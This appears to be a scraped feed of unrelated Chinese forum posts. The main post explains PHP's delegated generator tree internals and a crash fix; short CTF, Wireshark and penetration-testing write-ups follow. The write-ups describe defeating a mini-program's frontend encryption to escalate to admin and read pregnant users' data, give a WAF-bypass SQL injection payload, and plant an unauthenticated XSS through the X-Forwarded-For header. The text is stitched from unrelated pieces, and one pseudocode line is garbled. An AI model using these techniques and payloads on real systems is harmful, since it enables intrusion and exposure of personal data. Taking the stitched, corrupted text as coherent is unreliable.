对于第一个问题, 我们可以有非常直接的方法, 即从指定的结点开始往上遍历node.parent直到root结点. 但是你如果考虑一个非常高的tree和它的一个leaf结点, 每次地拨动这个leaf结点都需要查找一次, 如果这个过程非常频繁, 那么代价并不小. 所以我们是否可以考虑引入类似cache的东西 ? 比如在第一次查找之后就保存这个root结点, 这个方法显然是奏效的, 但是你需要额外维护这个cache. 如果这个root结点已经完成执行了, 你可能需要考虑更新所有引用它的地方, 以免二次误用. 进一步思考, 这个cache可能有多种形式:
那么必须在root结点处维护一张表, 存储所有引用它的地方, 保证在它被改变之后, 能够及时地更新到引用它的结点.
那么我们只需要在root结点上引用这个结点即可.
为什么我们提到这两种cache形式呢 ? 考虑下面的tree
gen0 / gen1 / gen2其中gen1和gen2的root结点都是gen0. 在multiple cache下, 无论怎样拨动gen1还是gen2都可以使用cache机制. 而在single cache下, 当我们从拨动gen1切换到gen2或者从gen2切换到gen1时, cache就会失效, 但是连续拨动时依然可以享受到cache带来的好处.
PHP7和PHP8均使用的第二种cache方式, 我将其称之为核心设计1. 但是PHP7还往前走了一步, 这里我们注意到gen1和gen2对应同一个root结点, 那么有没有办法让它们共享这个root结点呢? 并且在root结点上不用同时引用它们两个结点. 答案是,
可以这样做的原因是, 对于一个结点而言, 它和它的所有descendant结点都拥有着相同的root结点. 换言之, 如果它的某个descendant结点已经拥有了关于root结点的引用, 那么我们可以直接去问这个descendant结点要root结点即可. 另外对于这个descendant结点的选择, 应当最好是一个leaf结点, 因为它可以成为更多其他结点的descendant结点. 这就是PHP7中delegated generator tree的独有的核心设计2.
对于第二个问题, 简而言之就是当前root结点完成执行之后, 我们应当如何选择child结点作为新的root结点. 我们考虑两种情况下的tree
gen0 gen2 / / \ gen1 gen3 gen4 / gen5对于左边这颗树, 当gen0完成执行之后, 我们再拨动gen1, 此时gen0只有一个child结点, 所以选择只有一个. 而对于右边这棵树, 同样当gen2完成执行之后, 我们再拨动gen5, 此时gen2有两个child结点, 正确的选择应该是gen3, 那么这里应该如何准确地确定它呢 ? 同样我们可以直接从gen5开始向上遍历, 直到碰到gen2的某个child结点, 这是PHP8中的做法.
而PHP7中的做法则是对每个结点的child结点建立一张索引表, 在返回选择child结点的过程中,我们可以根据当前正在拨动的generator信息查表得到对应的child结点. 这一做法中延续了之前我们刚刚提到的核心设计1. 为理解这一建表过程, 我们从最直觉的方法出发, 再回归PHP7中的方法.
想象我们正在结点gen上存储一个child结点 c, 并且假定这个child结点有一些descendant结点, d1, d2, ..., dn等等. 那么我们在gen上存储一些ordered pairs, (c,c), (c, d1), (c, d2), ... (c, dn). 未来当gen完成执行,我们再次拨动d1, d2, ..., dn中的某个结点di时, 我们可以根据di查询gen中的ordered pairs马上知道我们选择的child结点是c. 这一ordered pair结构显然可以用哈希表来完成 (让di作为index), 这就是PHP7中独有的核心设计3. 如果我们继续深度思考的话, 这里实际可能并不需要存储这么多ordered pairs, 考虑拥有下面结构的c
c / \ d1 d4 / d2 / d3类似于前面提到的核心设计, 当c完成执行是, 这里拨动d2 选择的c的child结点, 和拨动任意一个d2的descendant结点选择的c的child结点是一样的. 因此这里我们也可以让d2保存一个d3的引用, 然后我们在c上只需要保存两个ordered pair (d1, d3), (d1, d4) , 并且在查询d2时, 我们转而使用d3来作为查询index, 这就是PHP7中独有的核心设计4. 在实际建表的过程中, 还要更复杂一些, 我们会详细提到.
最后我们小小地总结一下, generator delegated tree有两个需维护重点:
在这两个查找操作中都用到了相同的思想, 即一些结点是可以共用查询的结果, 通过这个fact, 我们希望减少复用结果所带来的空间复杂度, 于是乎诞生了核心设计2和核心设计4. 而核心设计1和核心设计3的思想就比较朴素, 即为了减少遍历tree带来的时间复杂度. 下面几个小节,我们将完整的介绍整个维护过程.
1.4. 维护 Delegated generator tree 之结点初始化当一个generator实例gen产生的时候, 我可以将它看做只有一个结点的tree, 相关初始化操作如下:
function init_gen_node (gen) { gen.node.parent = null; gen.node.children = 0; gen.node.single.child = null; gen.node.single.leaf = null; gen.node.ptr.root = gen }这样一个结点自然是没有parent结点和child结点. 值得注意是我们用到node.ptr, 这里我们有一个约定:
我们可以用一个简单的例子来说明:
gen0 / gen1 / \ gen2 gen3图中结点node.ptr使用情况为:
你可能会问如果有多个leaf结点, 我们应该记录哪一个呢? 例如这里就有两个leaf结点, 答案是没有区别, 记录任意一个leaf结点都行, 在后文中你将看到原因. 另外可以看到在初始化过程中, 我们使用是node.ptr.root, 这是因为此时的gen结点既是一个root结点也是一个leaf结点, 无论使用node.ptr另一种方式均可. 同时我们可以称呼这样的结点为root-leaf结点.
1.5. 维护 delegated generator tree 之新增child结点这一节我们将描述如何两个结点在yield form调用过程中, 其中一个结点是如何被连接为另一个结点的child结点. 调用yield from的generator将作为这个过程中的child结点. 给定两个generators分别记为gen 和 child, 其中child将作为child结点连接到gen上. 我们将根据gen和child本身的结构来分类讨论他们的连接过程. 注意每一个case的连接操作可能并不是完整的, 我们主要关注是在不同case, 可能需要引入的新操作是哪些. 把每个case补全会导致,case与case之前出现重复, 并且讲解臃肿.
#1 gen为一个leaf结点.
这个case下新增过程相对来说比较好理解, 图式新增过程如下:
gen gen + child --> / child那么这里的连接过程如下:3
function add_child_to_leaf_node (gen, child) { // assert(gen1.node.parent == null && gen1.node.children == 0) leaf = child.node.children ? child.node.ptr.leaf : child; leaf.node.ptr.root = gen.node.ptr.root; gen.node.ptr.leaf = leaf; gen.node.child.single.leaf = leaf; gen.node.child.single.child = child; child.node.parent = gen; } // add_root_leaf_node_to_root_leaf_node (gen1, gen2)用自然语言来描述如下:
#2 gen有一个child结点.
图式新增过程如下:
gen gen / / \ gen --> c1 --> c1 child引入这个case, 是想指明使用node.child.single到node.child.ht转变. 只有一个order pair的时候, 我们直接使用node.child.single即可, 而需要存储多个ordered pairs就只能用哈希表了.
child_leaf = child.node.children ? child.node.ptr.leaf : child c1_leaf = gen.node.single.leaf; gen.node.ht = new_ht(); ht_add(gen.node.ht, c1_leaf, c1); // 将c1对应的pair加入ht ht_add(gen.node, child_leaf, chi就只能变成ld); // 将child对应的pair加入ht#3 gen是一个leaf结点且有parent结点.
情况开始变的复杂, 图式新增过程如下:
... ... / / p2 p2 / / p1 p1 + child / / \ --> gen gen ... \ child \ ...它对应的连接过程如下:
function add_child_to_leaf_node_has_parent(gen, child) { // assert(gen.node.childen == 0 && gen.node.parent != null) leaf = child.node.children ? child.node.ptr.leaf : child; leaf.node.ptr.root = gen.node.ptr.root; gen.node.ptr.leaf = leaf; // 依次向上遍历gen的祖先结点. next = gen.node.parent; while (next) { if (next.node.children > 1) { child2 = ht_find(next.child.ht, gen); ht_del(next.child.ht, gen); // 从ht中删除以gen为index的元素 ht_add(next.child.ht, leaf, child2); // 在ht中添加以leaf为index元素 } next.node.ptr.leaf = leaf next = next.node.parent; } }第11-20行: gen原本是一个leaf结点, 那么它有可能被其他结点引用, 可能引用的地方为它的ancestor结点的node.child.single.leaf 或者 node.child.ht或者 node.ptr.leaf处. 此时gen不再是一个leaf结点,因此我们需要对这三个地方做一个必要的更新. 对于第一个和第三个地方, 我们之间将gen更新为leaf即可, 而第二个地方, 我们需要把包含gen的ordered pair取出来, 把gen换成leaf.
显然这里的代码忽略了更新node.child.single.leaf这个地方, 即ancestor结点只有一个child结点的时候, 会使得这个ancestor结点保存错误的ordered pair, 最后在它完成执行之后,我们可能无法正确地找到退回child结点. 我们在最初给出的crash例子对应了下面的构造过程:
p1 p1 p1 / ---> / ---> / \ gen gen gen new1 \ \ child child注意中间这个图, 对应了这里case所代表的连接过程, 连接child之后, p1.child.single.leaf依然保存了gen, 而不是真正所需要的child. 那么在下一步构造中, 我们把new也连接到p1下, 使得p1会使用node.ptr.ht来保存两个child结点对应的两个ordered pair, 显然(gen, gen)是其中一个pair. 最后我们尝试拨动child->next()使得p1完成执行, 这个时候p1被关闭, 需要使用child来查询 p1.child.ht来更新root结点, 结果就是查询失败最终导致crash. 因此这里需要打个patch:
if (next.node.children > 1) { child2 = ht_find(next.child.ht, gen); ht_del(next.child.ht, gen); ht_add(next.child.ht, leaf, child); + } else { + next.node.child.single.leaf = leaf; + }那为什么PHP7.0, 7.1, 7.2没崩呢? 因为有一行垃圾代码使得gen在完成与child连接之后拥有了两个child结点, 即重复存储了child, 原本只有一个child结点, 使得在最后连接new1的时候根本不会用到未更新的p1.child.single.leaf, 参考下面的case#4.
#4 gen有一个child结点, 且存在一个有多个孩子的descendent结点.
图示新增过程如下:
gen gen / / \ c1 + child --> c1 child / \ / \ c2 c3 c2 c3对应的部分连接过程如下:
function search_multi_children_node(gen) { while (gen.node.children == 1) { gen = gen.node.child.single.child; } return gen.node.children > 1 ? gen : null; } function merge_child_nodes_to_ht (gen, mutil_children_node, gen_single_child_node) { foreach (mutil_children_node.node.child.ht as leaf => child) { ht_add(gen.node.child.ht, leaf, gen_single_child_node); } } function add_child_to_node_has_one_child (gen, child) { // assert (gen.node.children == 1) multi_children_node = search_multi_children_node(gen); if (multi_children_node != null) { merge_child_nodes_to_ht(gen, multi_children_node, gen.node.single.child); } }这里的操作是围绕核心设计3在进行. 注意观察最左边gen本身的结构, 它只有一个child结点, 那么当我们拨动c2或者c3使得gen完成执行后, 新root结点只能是它唯一的child结点. 但是当child也连接为成为gen的一个child之后, 我们就需要在gen完成执行时, 做出选择了. 那么gen中至少需要存储3个ordered pair, 即 (c1, c2), (c1, c3), (child, child). 所以这里有一个细微的merge操作, 将gen所有的后继leaf结点和gen的本身那个child结点构成的ordered pairs都放到gen.node.child.ht中.
那么我们要怎样完成这个工作呢? 我们不需要遍历gen所在tree的所有leaf结点, 我们只需要找到gen下第一个拥有多个孩子的descendent结点, 然后遍历它的ordered pairs中的leaf结点即可. 因为我们一直在维护上述操作, 可以保证从该结点中拿到所有的leaf结点.
#4 child不存在多个孩子的descendent结点
图示连接过程
... ... \ \ p1 + child --> p1 / \ \ / \ ... gen c1 ... gen / / \ ... ... child \ c1上述连接过程完成之后, gen会多出一个leaf结点 c1, 如果gen拥有多个child结点, 考虑核心设计3, 那么我们需要把(child, c1)放到gen中. 同理我们需要向上考虑gen所有拥有多个孩子的ancestor结点. 其过程为如下
function add_child_to_node_has_one_child (gen, child) { if (gen.node.children != 0) { multi_children_node = search_multi_children_node(child); if (multi_children_node == null) { // `child`不存在多个孩子的descendent结点 leaf = child.node.ptr.leaf; ht_add(gen, leaf, child); parent = generator->node.parent; cur = generator; while (parent) { if (parent.node.children > 1) { ht_add(parent, leaf, cur); } cur = parent; parent = parent->node.parent; } } } }#5 child存在一个有多个孩子的descendent结点.
图示连接过程
... ... \ \ p1 p1 / \ / \ ... gen + child --> ... gen / / \ / \ ... c1 c2 ... child / \ c1 c2这里面临和#3中一样的问题, 当gen不是leaf结点时, 我们需要把ordered pair (child, c1)和(child, c2)也放到gen上. 同时, 也需要考虑gen的所有拥有多个孩子的ancestor结点, 将child中的所有leaf结点对应的ordered pairs加到其上. 其过程如下
function merge_leaf_node_to_node (gen, child) { if (gen.node.children != 0) { multi_children_node = search_multi_children_node(child); if (multi_children_node) { merge_child_nodes_to_ht(gen, multi_children_node, child); parent = generator->node.parent; cur = generator; while (parent) { if (parent.node.children > 1) { merge_child_nodes_to_ht(parent, multi_children_node, cur); } cur = parent; parent = parent->node.parent; } } } } 1.6. 维护 Delegated generator tree 之快速查找root结点结合核心设计1-2, 我们可以很快的写出root结点的查找过程,
function get_current_geneartor(gen) { if (gen.node.parent == null) { return gen; } leaf = gen.node.children ? gen.node.ptr.leaf : gen; // 确定gen的leaf结点 root = leaf.node.ptr.root; return root; }对应任意的结点, 我们首先找到它上存着的某个leaf结点的引用, 再从这个leaf结点上获取真正的root结点. 但是上面这个版本的查找过程并不正确. 在下面一节中将给出完全正确的版本.
1.7. 维护 Delegated generator tree 之更新结点这里维护操作关注, 当root结点完成执行之后, 如何退回正确的child结点继续执行, 对应核心设计3-4. 首先我们将上面的get_current_generator()修改正确, 考虑下面的例子
gen0 / \ gen1 gen2当我们拨动gen1, 使得gen0完成执行后, gen2依然在使用gen0, i.e., 获取gen0的返回值. 这里告诉我们当root结点有多个孩子的时候, 我们不能直接将它从tree上移除. 但是为了避免, 我们下次拨动gen1或者gen1获取错误的root结点. 我们需要将gen_current_generator修改一下
function get_current_generator(gen) { if (gen.node.parent == null) { return gen; } leaf = gen.node.children ? gen.node.ptr.leaf : gen; root = leaf.node.ptr.root; if (root is not finished && root.node.parent == null) { return root; } return update_tree(gen, leaf); }可以看到, 我们在返回root结点之前, 多了一个check, 确保其并没有完成执行, 同时依然是一个root结点 (可能leaf.node.ptr.leaf还没有被更新). 如果这个check失败了, 我们就需要更新gen对应的root结点, 这就是update_tree()中在做的操作, 其过程如下:
function get_child(gen, leaf) { // assert (gen.node.children >= 1) if (gen.node.children == 1) { return gen.node.child.single.child; } else { return ht_find(gen.node.child.ht, leaf); } } function update_tree(gen, leaf) { root = leaf.node.ptr.root root = get_child(root, leaf); while (root is finished && root != gen) { root = get_child(root, leaf); } if (root.parent != null && parent is not finished) { do { root = root.node.parent } while (root.node.parent) } leaf.node.ptr.root = root; return root; }第11-12行对应了核心设计3-4, 根据leaf 结点找到应该退回的child结点. 这里我们并不能直接把找到child结点视为新的root结点, 有可能它也已经完成执行了, 那么我们则需要继续寻找它的child结点, 对应这里第一个循环过程.
第18-22行这里在干什么 ? 注意在1.5节新增child结点中, 只有一个地方会更新leaf结点中关于root结点的引用, 即case#1中, 而其余任何地方都是不会更新node.ptr.root的. 这是因为在其他情况下, 我们就需要使用类似于get_current_generator()中的操作, 定位leaf结点, 再check对应的root结点. 因此我们将在新增孩子结点过程中的更新root结点操作延迟到了update_tree()当中, 当没有更新node.ptr.root就有可能出现找到的root结点其实并不是真正的root结点, 这一点我们可以通过它是否存在parent结点来确定.
最后在24行处完成leaf结点上关于新root结点的引用更新.
2. 最后拥抱PHP系列又开始更新了, 这个系列的初衷是希望大家多多关注PHP里面的东西, 距离上一次更新,已经大概已经3年过去了. 接下来也许还会继续更新, 但是不知道在多久之后... 文章错误我会不定时勘误. 谢谢最后读到这里的陌生人, 下次再见.
1 个帖子 - 1 位参与者
from pwn import *
sh = remote("IP addr",port) //本地程勋就用sh = process("./程序名")
pwntools库中有readline,sendline函数(有很多读写函数,可以在官方文档上看)
分析给出的信息段,从 Welcome...... 到 Now.. start 一共有7行,就用了7个readline函数,之后是有规律的出现三行,前两行给出两个加数,第三行给出计算的结果,一共有100道题。使用循环语句:
for i in range(100):
sh.readline()
sh.readline()
//这两个函数就只是把信息接受到,不做任何处理,因为没啥用。接下来的是关键
s=sh.readline() //把第三行的计算公式给读下来,读出来的是字符串
接下来用到split函数,先把“+”两边的分开,numbers[0]="762",numbers[1]="135=897",将numbers[0]转换为int类型
numbers = s.split(b"+")
num0=int(numbers[0])
再将numbers[1]用split函数把“=”两边的分开,得到s[0]="135",s[1]="897",在强制转换为int类型
s = numbers[1].split(b"=")
num1=int(s[0])
num2=int(s[1])
最后就是计算num0与num1的和与num2是否相等,根据相应要求发送对应字符串。
if(num0+num1==num2):
sh.sendline(b'BlackBird')
print("BlackBird")
else:
sh.sendline(b'WingS')
print("WingS")
以上用到print函数只是为了更加清晰的看到这个过程。
最后根据结果一步一步增加代码,最终exp如下:
得到flag
1 个帖子 - 1 位参与者
开始小白学习流量分析题, 当然是从最基础的开始啦,使用到的工具是wireshark哪有什么做流量题不用wireshark的啊
打开流量包,最先开始的思路就是搜一下flag这个字符串是否存在于流量包中
像这里的话可观察到flag是存于txt中的,因为是textdata数据
右击-->显示分组字节流
右击协议-->追踪流-->TCP流
即可查看text数据:
2 个帖子 - 2 位参与者
对某孕小程序渗透测试的时候遇到http数据包加密的情况
于是在前端js代码查找加解密的代码,可以搜索关键字encrypt,decrypt
在加解密的代码处打断点
在浏览器控制台调用加解密函数
加密内容
解密
登录系统是普通用户的界面
对登录的响应包修改参数,再加密
放包成功垂直越权
查看孕妇信息
通过解密得到的信息
1 个帖子 - 1 位参与者
环境:windserver2008 + mysql+php
SQL语句拦截图:
http://www.test123.com/article.php?id=1%20union%20select%201,2,3
SQL绕过语句图:
http://www.test123.com/article.php?id=-1/*!36000union*//*!36000distinct*//*!36000select*/1,2,user()
1 个帖子 - 1 位参与者
一般XSS点是在留言、新增项等等地方,一般也都需要登录
本文记录的试一次渗透中碰到的非常规的XSS功能点,无需登录
所以也可以说是未授权XSS,并且直取admin
漏洞功能点位于【系统日志】处
此处记录并审计登录行为
发现用户在登录时,用户名、IP等信息会被记录在此处,用户名可以根据POST请求包中的【username】字段进行改动,但是在测试过程中发现系统对该字段有进行特殊字符的限制,所以无法实现XSS
但是后面发现对IP字段的输入却没有进行限制,在POST请求头中加入【x-forwarded-for】就可以任意自定义修改此处对应的【操作IP】
插入成功,管理员来到审核页面的时候就会触发XSS
这个系统对所有插入的数据几乎都做了编码、限制、替换,找了好久才找到这个位置
所以测试或者说漏洞修复过程中,除了注意用户GET、POST的数据外,还需注意请求Header头里面的参数
1 个帖子 - 1 位参与者